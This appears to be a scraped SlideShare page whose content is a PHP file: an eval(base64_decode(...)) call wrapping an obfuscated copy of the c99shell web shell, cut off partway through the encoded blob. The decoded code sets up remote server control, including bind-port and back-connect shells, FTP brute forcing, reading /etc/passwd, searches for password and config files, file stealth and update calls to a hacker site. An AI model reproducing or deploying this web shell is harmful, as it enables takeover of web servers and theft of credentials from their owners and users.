SlideShare a Scribd company logo
1 of 43
<?php
eval(base64_decode('CmlmICghZnVuY3Rpb25fZXhpc3RzKCJnZXRtaWNyb3RpbWUiKSkge2Z1bmN0
aW9uIGdldG1pY3JvdGltZSgpIHtsaXN0KCR1c2VjLCAkc2VjKSA9IGV4cGxvZGUoIiAiLCBtaWNyb3Rp
bWUoKSk7IHJldHVybiAoKGZsb2F0KSR1c2VjICsgKGZsb2F0KSRzZWMpO319CmVycm9yX3JlcG9ydGlu
Zyg1KTsKQGlnbm9yZV91c2VyX2Fib3J0KFRSVUUpOwpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDAp
Owokd2luID0gc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJ3aW4iOwpkZWZpbmUoInN0
YXJ0dGltZSIsZ2V0bWljcm90aW1lKCkpOwppZiAoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkge2lmICgh
ZnVuY3Rpb25fZXhpc3RzKCJzdHJpcHMiKSkge2Z1bmN0aW9uIHN0cmlwcygmJGFyciwkaz0iIikge2lm
IChpc19hcnJheSgkYXJyKSkge2ZvcmVhY2goJGFyciBhcyAkaz0+JHYpIHtpZiAoc3RydG91cHBlcigk
aykgIT0gIkdMT0JBTFMiKSB7c3RyaXBzKCRhcnJbIiRrIl0pO319fSBlbHNlIHskYXJyID0gc3RyaXBz
bGFzaGVzKCRhcnIpO319fSBzdHJpcHMoJEdMT0JBTFMpO30KJF9SRVFVRVNUID0gYXJyYXlfbWVyZ2Uo
JF9DT09LSUUsJF9HRVQsJF9QT1NUKTsKZm9yZWFjaCgkX1JFUVVFU1QgYXMgJGs9PiR2KSB7aWYgKCFp
c3NldCgkJGspKSB7JCRrID0gJHY7fX0KCiRzaHZlciA9ICIxLjAgcHJlLXJlbGVhc2UgYnVpbGQgIzE2
IjsgLy9DdXJyZW50IHZlcnNpb24KLy9DT05GSUdVUkFUSU9OIEFORCBTRVRUSU5HUwppZiAoIWVtcHR5
KCR1bnNldF9zdXJsKSkge3NldGNvb2tpZSgiYzk5c2hfc3VybCIpOyAkc3VybCA9ICIiO30KZWxzZWlm
ICghZW1wdHkoJHNldF9zdXJsKSkgeyRzdXJsID0gJHNldF9zdXJsOyBzZXRjb29raWUoImM5OXNoX3N1
cmwiLCRzdXJsKTt9CmVsc2UgeyRzdXJsID0gJF9SRVFVRVNUWyJjOTlzaF9zdXJsIl07IC8vU2V0IHRo
aXMgY29va2llIGZvciBtYW51YWwgU1VSTAp9Cgokc3VybF9hdXRvZmlsbF9pbmNsdWRlID0gVFJVRTsg
Ly9JZiBUUlVFIHRoZW4gc2VhcmNoIHZhcmlhYmxlcyB3aXRoIGRlc2NyaXB0b3JzIChVUkxzKSBhbmQg
c2F2ZSBpdCBpbiBTVVJMLgoKaWYgKCRzdXJsX2F1dG9maWxsX2luY2x1ZGUgYW5kICEkX1JFUVVFU1Rb
ImM5OXNoX3N1cmwiXSkgeyRpbmNsdWRlID0gIiYiOyBmb3JlYWNoIChleHBsb2RlKCImIixnZXRlbnYo
IlFVRVJZX1NUUklORyIpKSBhcyAkdikgeyR2ID0gZXhwbG9kZSgiPSIsJHYpOyAkbmFtZSA9IHVybGRl
Y29kZSgkdlswXSk7ICR2YWx1ZSA9IHVybGRlY29kZSgkdlsxXSk7IGZvcmVhY2ggKGFycmF5KCJodHRw
Oi8vIiwiaHR0cHM6Ly8iLCJzc2w6Ly8iLCJmdHA6Ly8iLCJcXFxcIikgYXMgJG5lZWRsZSkge2lmIChz
dHJwb3MoJHZhbHVlLCRuZWVkbGUpID09PSAwKSB7JGluY2x1ZGVzdHIgLj0gdXJsZW5jb2RlKCRuYW1l
KS4iPSIudXJsZW5jb2RlKCR2YWx1ZSkuIiYiO319fSBpZiAoJF9SRVFVRVNUWyJzdXJsX2F1dG9maWxs
X2luY2x1ZGUiXSkgeyRpbmNsdWRlc3RyIC49ICJzdXJsX2F1dG9maWxsX2luY2x1ZGU9MSYiO319Cmlm
IChlbXB0eSgkc3VybCkpCnsKICRzdXJsID0gIj8iLiRpbmNsdWRlc3RyOyAvL1NlbGYgdXJsCn0KJHN1
cmwgPSBodG1sc3BlY2lhbGNoYXJzKCRzdXJsKTsKCiR0aW1lbGltaXQgPSAwOyAvL3RpbWUgbGltaXQg
b2YgZXhlY3V0aW9uIHRoaXMgc2NyaXB0IG92ZXIgc2VydmVyIHF1b3RlIChzZWNvbmRzKSwgMCA9IHVu
bGltaXRlZC4KCi8vQXV0aGVudGljYXRpb24KJGxvZ2luID0gIiI7IC8vbG9naW4KLy9ET04nVCBGT1JH
T1QgQUJPVVQgUEFTU1dPUkQhISEKJHBhc3MgPSAiIjsgLy9wYXNzd29yZAokbWQ1X3Bhc3MgPSAiIjsg
Ly9tZDUtY3J5cGVkIHBhc3MuIGlmIG51bGwsIG1kNSgkcGFzcykKCiRob3N0X2FsbG93ID0gYXJyYXko
IioiKTsgLy9hcnJheSAoInttYXNrfTEiLCJ7bWFza30yIiwuLi4pLCB7bWFza30gPSBJUCBvciBIT1NU
IGUuZy4gYXJyYXkoIjE5Mi4xNjguMC4qIiwiMTI3LjAuMC4xIikKJGxvZ2luX3R4dCA9ICJSZXN0cmlj
dGVkIGFyZWEiOyAvL2h0dHAtYXV0aCBtZXNzYWdlLgokYWNjZXNzZGVuaWVkbWVzcyA9ICI8YSBocmVm
PVwiaHR0cDovL2NjdGVhbS5ydS9yZWxlYXNlcy9jOTlzaGVsbFwiPmM5OXNoZWxsIHYuIi4kc2h2ZXIu
IjwvYT46IGFjY2VzcyBkZW5pZWQiOwoKJGd6aXBlbmNvZGUgPSBUUlVFOyAvL0VuY29kZSB3aXRoIGd6
aXA/CgokdXBkYXRlbm93ID0gRkFMU0U7IC8vSWYgVFJVRSwgdXBkYXRlIG5vdyAodGhpcyB2YXJpYWJs
ZSB3aWxsIGJlIEZBTFNFKQoKJGM5OXNoX3VwZGF0ZXVybCA9ICJodHRwOi8vY2N0ZWFtLnJ1L3VwZGF0
ZS9jOTlzaGVsbC8iOyAvL1VwZGF0ZSBzZXJ2ZXIKJGM5OXNoX3NvdXJjZXN1cmwgPSAiaHR0cDovL2Nj
dGVhbS5ydS9maWxlcy9jOTlzaF9zb3VyY2VzLyI7IC8vU291cmNlcy1zZXJ2ZXIKCiRmaWxlc3RlYWx0
aCA9IFRSVUU7IC8vaWYgVFJVRSwgZG9uJ3QgY2hhbmdlIG1vZGlmeS0gYW5kIGFjY2Vzcy10aW1lCgok
ZG9uYXRlZF9odG1sID0gIjxjZW50ZXI+PGI+T3duZWQgYnkgaGFja2VyPC9iPjwvY2VudGVyPiI7Ci8q
IElmIHlvdSBwdWJsaXNoIGZyZWUgc2hlbGwgYW5kIHlvdSB3aXNoCmFkZCBsaW5rIHRvIHlvdXIgc2l0
ZSBvciBhbnkgb3RoZXIgaW5mb3JtYXRpb24sCnB1dCBoZXJlIHlvdXIgaHRtbC4gKi8KJGRvbmF0ZWRf
YWN0ID0gYXJyYXkoIiIpOyAvL2FycmF5ICgiYWN0MSIsImFjdDIsIi4uLiksIGlmICRhY3QgaXMgaW4g
dGhpcyBhcnJheSwgZGlzcGxheSAkZG9uYXRlZF9odG1sLgoKJGN1cmRpciA9ICIuLyI7IC8vc3RhcnQg
Zm9sZGVyCi8vJGN1cmRpciA9IGdldGVudigiRE9DVU1FTlRfUk9PVCIpOwokdG1wZGlyID0gIiI7IC8v
Rm9sZGVyIGZvciB0ZW1wb3J5IGZpbGVzLiBJZiBlbXB0eSwgYXV0by1maWxsICgvdG1wIG9yICVXSU5E
SVIvdGVtcCkKJHRtcGRpcl9sb2cgPSAiLi8iOyAvL0RpcmVjdG9yeSBsb2dzIG9mIGxvbmcgcHJvY2Vz
c2VzIChlLmcuIGJydXRlLCBzY2FuLi4uKQoKJGxvZ19lbWFpbCA9ICJ1c2VyQGhvc3QudGxkIjsgLy9E
ZWZhdWx0IGUtbWFpbCBmb3Igc2VuZGluZyBsb2dzCgokc29ydF9kZWZhdWx0ID0gIjBhIjsgLy9EZWZh
dWx0IHNvcnRpbmcsIDAgLSBudW1iZXIgb2YgY29sb21uLCAiYSJzY2VuZGluZyBvciAiZCJlc2NlbmRp
bmcKJHNvcnRfc2F2ZSA9IFRSVUU7IC8vSWYgVFJVRSB0aGVuIHNhdmUgc29ydGluZy1wb3NpdGlvbiB1
c2luZyBjb29raWVzLgoKLy8gUmVnaXN0ZXJlZCBmaWxlLXR5cGVzLgovLyAgYXJyYXkoCi8vICAgInth
Y3Rpb24xfSI9PmFycmF5KCJleHQxIiwiZXh0MiIsImV4dDMiLC4uLiksCi8vICAgInthY3Rpb24yfSI9
PmFycmF5KCJleHQ0IiwiZXh0NSIsImV4dDYiLC4uLiksCi8vICAgLi4uCi8vICApCiRmdHlwZXMgID0g
YXJyYXkoCiAiaHRtbCI9PmFycmF5KCJodG1sIiwiaHRtIiwic2h0bWwiKSwKICJ0eHQiPT5hcnJheSgi
dHh0IiwiY29uZiIsImJhdCIsInNoIiwianMiLCJiYWsiLCJkb2MiLCJsb2ciLCJzZmMiLCJjZmciLCJo
dGFjY2VzcyIpLAogImV4ZSI9PmFycmF5KCJzaCIsImluc3RhbGwiLCJiYXQiLCJjbWQiKSwKICJpbmki
PT5hcnJheSgiaW5pIiwiaW5mIiksCiAiY29kZSI9PmFycmF5KCJwaHAiLCJwaHRtbCIsInBocDMiLCJw
aHA0IiwiaW5jIiwidGNsIiwiaCIsImMiLCJjcHAiLCJweSIsImNnaSIsInBsIiksCiAiaW1nIj0+YXJy
YXkoImdpZiIsInBuZyIsImpwZWciLCJqZmlmIiwianBnIiwianBlIiwiYm1wIiwiaWNvIiwidGlmIiwi
dGlmZiIsImF2aSIsIm1wZyIsIm1wZWciKSwKICJzZGIiPT5hcnJheSgic2RiIiksCiAicGhwc2VzcyI9
PmFycmF5KCJzZXNzIiksCiAiZG93bmxvYWQiPT5hcnJheSgiZXhlIiwiY29tIiwicGlmIiwic3JjIiwi
bG5rIiwiemlwIiwicmFyIiwiZ3oiLCJ0YXIiKQopOwoKLy8gUmVnaXN0ZXJlZCBleGVjdXRhYmxlIGZp
bGUtdHlwZXMuCi8vICBhcnJheSgKLy8gICBzdHJpbmcgImNvbW1hbmR7aX0iPT5hcnJheSgiZXh0MSIs
ImV4dDIiLCJleHQzIiwuLi4pLAovLyAgIC4uLgovLyAgKQovLyAgIHtjb21tYW5kfTogJWYlID0gZmls
ZW5hbWUKJGV4ZWZ0eXBlcyAgPSBhcnJheSgKIGdldGVudigiUEhQUkMiKS4iIC1xICVmJSIgPT4gYXJy
YXkoInBocCIsInBocDMiLCJwaHA0IiksCiAicGVybCAlZiUiID0+IGFycmF5KCJwbCIsImNnaSIpCik7
CgovKiBIaWdobGlnaHRlZCBmaWxlcy4KICBhcnJheSgKICAgaT0+YXJyYXkoe3JlZ2V4cH0se3R5cGV9
LHtvcGVudGFnfSx7Y2xvc2V0YWd9LHticmVha30pCiAgIC4uLgogICkKICBzdHJpbmcge3JlZ2V4cH0g
LSByZWd1bGFyIGV4cC4KICBpbnQge3R5cGV9OgowIC0gZmlsZXMgYW5kIGZvbGRlcnMgKGFzIGRlZmF1
bHQpLAoxIC0gZmlsZXMgb25seSwgMiAtIGZvbGRlcnMgb25seQogIHN0cmluZyB7b3BlbnRhZ30gLSBv
cGVuIGh0bWwtdGFnLCBlLmcuICI8Yj4iIChkZWZhdWx0KQogIHN0cmluZyB7Y2xvc2V0YWd9IC0gY2xv
c2UgaHRtbC10YWcsIGUuZy4gIjwvYj4iIChkZWZhdWx0KQogIGJvb2wge2JyZWFrfSAtIGlmIFRSVUUg
YW5kIGZvdW5kIG1hdGNoIHRoZW4gYnJlYWsKKi8KJHJlZ3hwX2hpZ2hsaWdodCAgPSBhcnJheSgKICBh
cnJheShiYXNlbmFtZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSksMSwiPGZvbnQgY29sb3I9XCJ5ZWxsb3dc
Ij4iLCI8L2ZvbnQ+IiksIC8vIGV4YW1wbGUKICBhcnJheSgiY29uZmlnLnBocCIsMSkgLy8gZXhhbXBs
ZQopOwoKJHNhZmVtb2RlX2Rpc2tldHRlcyA9IGFycmF5KCJhIik7IC8vIFRoaXMgdmFyaWFibGUgZm9y
IGRpc2FibGluZyBkaXNrZXR0LWVycm9ycy4KIC8vIGFycmF5IChpPT57bGV0dGVyfSAuLi4pOyBzdHJp
bmcge2xldHRlcn0gLSBsZXR0ZXIgb2YgYSBkcml2ZQovLyRzYWZlbW9kZV9kaXNrZXR0ZXMgPSByYW5n
ZSgiYSIsInoiKTsKJGhleGR1bXBfbGluZXMgPSA4Oy8vIGxpbmVzIGluIGhleCBwcmV2aWV3IGZpbGUK
JGhleGR1bXBfcm93cyA9IDI0Oy8vIDE2LCAyNCBvciAzMiBieXRlcyBpbiBvbmUgbGluZQoKJG5peHB3
ZHBlcnBhZ2UgPSAxMDA7IC8vIEdldCBmaXJzdCBOIGxpbmVzIGZyb20gL2V0Yy9wYXNzd2QKCiRiaW5k
cG9ydF9wYXNzID0gImM5OSI7ICAvLyBkZWZhdWx0IHBhc3N3b3JkIGZvciBiaW5kaW5nCiRiaW5kcG9y
dF9wb3J0ID0gIjMxMzczIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBiaW5kaW5nCiRiY19wb3J0ID0gIjMx
MzczIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBiYWNrLWNvbm5lY3QKJGRhdGFwaXBlX2xvY2FscG9ydCA9
ICI4MDgxIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBkYXRhcGlwZQoKLy8gQ29tbWFuZC1hbGlhc2VzCmlm
ICghJHdpbikKewogJGNtZGFsaWFzZXMgPSBhcnJheSgKICBhcnJheSgiLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iLCAibHMgLWxhIiksCiAgYXJy
YXkoImZpbmQgYWxsIHN1aWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIp
LAogIGFycmF5KCJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYg
LXBlcm0gLTA0MDAwIC1scyIpLAogIGFycmF5KCJmaW5kIGFsbCBzZ2lkIGZpbGVzIiwgImZpbmQgLyAt
dHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiKSwKICBhcnJheSgiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJl
bnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiKSwKICBhcnJheSgiZmluZCBj
b25maWcuaW5jLnBocCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIp
LAogIGFycmF5KCJmaW5kIGNvbmZpZyogZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25m
aWcqXCIiKSwKICBhcnJheSgiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQg
LiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiksCiAgYXJyYXkoImZpbmQgYWxsIHdyaXRhYmxlIGZv
bGRlcnMgYW5kIGZpbGVzIiwgImZpbmQgLyAtcGVybSAtMiAtbHMiKSwKICBhcnJheSgiZmluZCBhbGwg
d3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC1wZXJtIC0y
IC1scyIpLAogIGFycmF5KCJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUg
ZiAtbmFtZSBzZXJ2aWNlLnB3ZCIpLAogIGFycmF5KCJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1
cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksCiAgYXJyYXkoImZp
bmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSwK
ICBhcnJheSgiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBl
IGYgLW5hbWUgLmh0cGFzc3dkIiksCiAgYXJyYXkoImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMi
LCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIpLAogIGFycmF5KCJmaW5kIC5iYXNo
X2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hf
aGlzdG9yeSIpLAogIGFycmF5KCJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiLCAiZmluZCAvIC10
eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiksCiAgYXJyYXkoImZpbmQgLmZldGNobWFpbHJjIGZpbGVz
IGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIpLAogIGFy
cmF5KCJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5
c3RlbSIsICJsc2F0dHIgLXZhIiksCiAgYXJyYXkoInNob3cgb3BlbmVkIHBvcnRzIiwgIm5ldHN0YXQg
LWFuIHwgZ3JlcCAtaSBsaXN0ZW4iKQogKTsKfQplbHNlCnsKICRjbWRhbGlhc2VzID0gYXJyYXkoCiAg
YXJyYXkoIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tIiwgImRpciIpLAogIGFycmF5KCJzaG93IG9wZW5lZCBwb3J0cyIsICJuZXRzdGF0IC1hbiIp
CiApOwp9Cgokc2Vzc19jb29raWUgPSAiYzk5c2h2YXJzIjsgLy8gQ29va2llLXZhcmlhYmxlIG5hbWUK
CiR1c2Vmc2J1ZmYgPSBUUlVFOyAvL0J1ZmZlci1mdW5jdGlvbgokY29weV91bnNldCA9IEZBTFNFOyAv
L1JlbW92ZSBjb3BpZWQgZmlsZXMgZnJvbSBidWZmZXIgYWZ0ZXIgcGFzdGluZwoKLy9RdWljayBsYXVu
Y2gKJHF1aWNrbGF1bmNoID0gYXJyYXkoCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1n
JmltZz1ob21lXCIgYWx0PVwiSG9tZVwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1c
IjBcIj4iLCRzdXJsKSwKIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWJhY2tc
IiBhbHQ9XCJCYWNrXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsIiN
cIiBvbmNsaWNrPVwiaGlzdG9yeS5iYWNrKDEpIiksCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJ
hY3Q9aW1nJmltZz1mb3J3YXJkXCIgYWx0PVwiRm9yd2FyZFwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCI
yMFwiIGJvcmRlcj1cIjBcIj4iLCIjXCIgb25jbGljaz1cImhpc3RvcnkuZ28oMSkiKSwKIGFycmF5KCI
8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXVwXCIgYWx0PVwiVVBESVJcIiBoZWlnaHQ9XCI
yMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+Iiwkc3VybC4iYWN0PWxzJmQ9JXVwZCZzb3J0PSV
zb3J0IiksCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1yZWZyZXNoXCIgYWx
0PVwiUmVmcmVzaFwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIxN1wiIGJvcmRlcj1cIjBcIj4iLCIiKSw
KIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNlYXJjaFwiIGFsdD1cIlNlYXJ
jaFwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCRzdXJsLiJhY3Q9c2V
hcmNoJmQ9JWQiKSwKIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWJ1ZmZlclw
iIGFsdD1cIkJ1ZmZlclwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCR
zdXJsLiJhY3Q9ZnNidWZmJmQ9JWQiKSwKIGFycmF5KCI8Yj5FbmNvZGVyPC9iPiIsJHN1cmwuImFjdD1
lbmNvZGVyJmQ9JWQiKSwKIGFycmF5KCI8Yj5Ub29sczwvYj4iLCRzdXJsLiJhY3Q9dG9vbHMmZD0lZCI
pLAogYXJyYXkoIjxiPlByb2MuPC9iPiIsJHN1cmwuImFjdD1wcm9jZXNzZXMmZD0lZCIpLAogYXJyYXk
oIjxiPkZUUCBicnV0ZTwvYj4iLCRzdXJsLiJhY3Q9ZnRwcXVpY2ticnV0ZSZkPSVkIiksCiBhcnJheSg
iPGI+U2VjLjwvYj4iLCRzdXJsLiJhY3Q9c2VjdXJpdHkmZD0lZCIpLAogYXJyYXkoIjxiPlNRTDwvYj4
iLCRzdXJsLiJhY3Q9c3FsJmQ9JWQiKSwKIGFycmF5KCI8Yj5QSFAtY29kZTwvYj4iLCRzdXJsLiJhY3Q
9ZXZhbCZkPSVkIiksCiBhcnJheSgiPGI+VXBkYXRlPC9iPiIsJHN1cmwuImFjdD11cGRhdGUmZD0lZCI
pLAogYXJyYXkoIjxiPkZlZWRiYWNrPC9iPiIsJHN1cmwuImFjdD1mZWVkYmFjayZkPSVkIiksCiBhcnJ
heSgiPGI+U2VsZiByZW1vdmU8L2I+Iiwkc3VybC4iYWN0PXNlbGZyZW1vdmUiKSwKIGFycmF5KCI8Yj5
Mb2dvdXQ8L2I+IiwiI1wiIG9uY2xpY2s9XCJpZiAoY29uZmlybSgnQXJlIHlvdSBzdXJlPycpKSB3aW5
kb3cuY2xvc2UoKSIpCik7CgovL0hpZ2hsaWdodC1jb2RlIGNvbG9ycwokaGlnaGxpZ2h0X2JhY2tncm9
1bmQgPSAiI2MwYzBjMCI7CiRoaWdobGlnaHRfYmcgPSAiI0ZGRkZGRiI7CiRoaWdobGlnaHRfY29tbWV
udCA9ICIjNkE2QTZBIjsKJGhpZ2hsaWdodF9kZWZhdWx0ID0gIiMwMDAwQkIiOwokaGlnaGxpZ2h0X2h
0bWwgPSAiIzEzMDBGRiI7CiRoaWdobGlnaHRfa2V5d29yZCA9ICIjMDA3NzAwIjsKJGhpZ2hsaWdodF9
zdHJpbmcgPSAiIzAwMDAwMCI7CgpAJGYgPSAkX1JFUVVFU1RbImYiXTsKQGV4dHJhY3QoJF9SRVFVRVN
UWyJjOTlzaGNvb2siXSk7CgovL0VORCBDT05GSUdVUkFUSU9OCgoKLy8gXC9OZXh0IGNvZGUgaXNuJ3Q
gZm9yIGVkaXRpbmdcLwpAc2V0X3RpbWVfbGltaXQoMCk7CiR0bXAgPSBhcnJheSgpOwpmb3JlYWNoKCR
ob3N0X2FsbG93IGFzICRrPT4kdikgeyR0bXBbXSA9IHN0cl9yZXBsYWNlKCJcXCoiLCIuKiIscHJlZ19
xdW90ZSgkdikpO30KJHMgPSAiIV4oIi5pbXBsb2RlKCJ8IiwkdG1wKS4iKSQhaSI7CmlmICghcHJlZ19
tYXRjaCgkcyxnZXRlbnYoIlJFTU9URV9BRERSIikpIGFuZCAhcHJlZ19tYXRjaCgkcyxnZXRob3N0Ynl
hZGRyKGdldGVudigiUkVNT1RFX0FERFIiKSkpKSB7ZXhpdCgiPGEgaHJlZj1cImh0dHA6Ly9jY3RlYW0
ucnUvcmVsZWFzZXMvY2M5OXNoZWxsXCI+Yzk5c2hlbGw8L2E+OiBBY2Nlc3MgRGVuaWVkIC0geW91ciB
ob3N0ICgiLmdldGVudigiUkVNT1RFX0FERFIiKS4iKSBub3QgYWxsb3ciKTt9CmlmICghZW1wdHkoJGx
vZ2luKSkKewogaWYgKGVtcHR5KCRtZDVfcGFzcykpIHskbWQ1X3Bhc3MgPSBtZDUoJHBhc3MpO30KIGl
mICgoJF9TRVJWRVJbIlBIUF9BVVRIX1VTRVIiXSAhPSAkbG9naW4pIG9yIChtZDUoJF9TRVJWRVJbIlB
IUF9BVVRIX1BXIl0pICE9ICRtZDVfcGFzcykpCiB7CiAgaWYgKGVtcHR5KCRsb2dpbl90eHQpKSB7JGx
vZ2luX3R4dCA9IHN0cmlwX3RhZ3MoZXJlZ19yZXBsYWNlKCImbmJzcDt8PGJyPiIsIiAiLCRkb25hdGV
kX2h0bWwpKTt9CiAgaGVhZGVyKCJXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT1cImM5OXNoZWx
sICIuJHNodmVyLiI6ICIuJGxvZ2luX3R4dC4iXCIiKTsKICBoZWFkZXIoIkhUVFAvMS4wIDQwMSBVbmF
1dGhvcml6ZWQiKTsKICBleGl0KCRhY2Nlc3NkZW5pZWRtZXNzKTsKIH0KfQppZiAoJGFjdCAhPSAiaW1
nIikKewokbGFzdGRpciA9IHJlYWxwYXRoKCIuIik7CmNoZGlyKCRjdXJkaXIpOwppZiAoJHNlbGZ3cml
0ZSBvciAkdXBkYXRlbm93KSB7QG9iX2NsZWFuKCk7IGM5OXNoX2dldHVwZGF0ZSgkc2VsZndyaXRlLDE
pOyBleGl0O30KJHNlc3NfZGF0YSA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWyIkc2Vzc19jb29raWUiXSk
7CmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YSkpIHskc2Vzc19kYXRhID0gYXJyYXkoKTt9CmlmICghaXN
fYXJyYXkoJHNlc3NfZGF0YVsiY29weSJdKSkgeyRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5KCk7fQp
pZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImN1dCJdKSkgeyRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXk
oKTt9CgokZGlzYWJsZWZ1bmMgPSBAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsKaWYgKCFlbXB
0eSgkZGlzYWJsZWZ1bmMpKQp7CiAkZGlzYWJsZWZ1bmMgPSBzdHJfcmVwbGFjZSgiICIsIiIsJGRpc2F
ibGVmdW5jKTsKICRkaXNhYmxlZnVuYyA9IGV4cGxvZGUoIiwiLCRkaXNhYmxlZnVuYyk7Cn0KCmlmICg
hZnVuY3Rpb25fZXhpc3RzKCJjOTlfYnVmZl9wcmVwYXJlIikpCnsKZnVuY3Rpb24gYzk5X2J1ZmZfcHJ
lcGFyZSgpCnsKIGdsb2JhbCAkc2Vzc19kYXRhOwogZ2xvYmFsICRhY3Q7CiBmb3JlYWNoKCRzZXNzX2R
hdGFbImNvcHkiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjb3B5Il1bJGtdID0gc3RyX3JlcGxhY2U
oIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLHJlYWxwYXRoKCR2KSk7fQogZm9yZWFjaCgkc2Vzc19kYXR
hWyJjdXQiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjdXQiXVska10gPSBzdHJfcmVwbGFjZSgiXFw
iLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9CiAkc2Vzc19kYXRhWyJjb3B5Il0gPSB
hcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY29weSJdKTsKICRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXl
fdW5pcXVlKCRzZXNzX2RhdGFbImN1dCJdKTsKIHNvcnQoJHNlc3NfZGF0YVsiY29weSJdKTsKIHNvcnQ
oJHNlc3NfZGF0YVsiY3V0Il0pOwogaWYgKCRhY3QgIT0gImNvcHkiKSB7Zm9yZWFjaCgkc2Vzc19kYXR
hWyJjdXQiXSBhcyAkaz0+JHYpIHtpZiAoJHNlc3NfZGF0YVsiY29weSJdWyRrXSA9PSAkdikge3Vuc2V
0KCRzZXNzX2RhdGFbImNvcHkiXVska10pOyB9fX0KIGVsc2Uge2ZvcmVhY2goJHNlc3NfZGF0YVsiY29
weSJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjdXQiXVska10gPT0gJHYpIHt1bnNldCgkc2V
zc19kYXRhWyJjdXQiXVska10pO319fQp9Cn0KYzk5X2J1ZmZfcHJlcGFyZSgpOwppZiAoIWZ1bmN0aW9
uX2V4aXN0cygiYzk5X3Nlc3NfcHV0IikpCnsKZnVuY3Rpb24gYzk5X3Nlc3NfcHV0KCRkYXRhKQp7CiB
nbG9iYWwgJHNlc3NfY29va2llOwogZ2xvYmFsICRzZXNzX2RhdGE7CiBjOTlfYnVmZl9wcmVwYXJlKCk
7CiAkc2Vzc19kYXRhID0gJGRhdGE7CiAkZGF0YSA9IHNlcmlhbGl6ZSgkZGF0YSk7CiBzZXRjb29raWU
oJHNlc3NfY29va2llLCRkYXRhKTsKfQp9CmZvcmVhY2ggKGFycmF5KCJzb3J0Iiwic3FsX3NvcnQiKSB
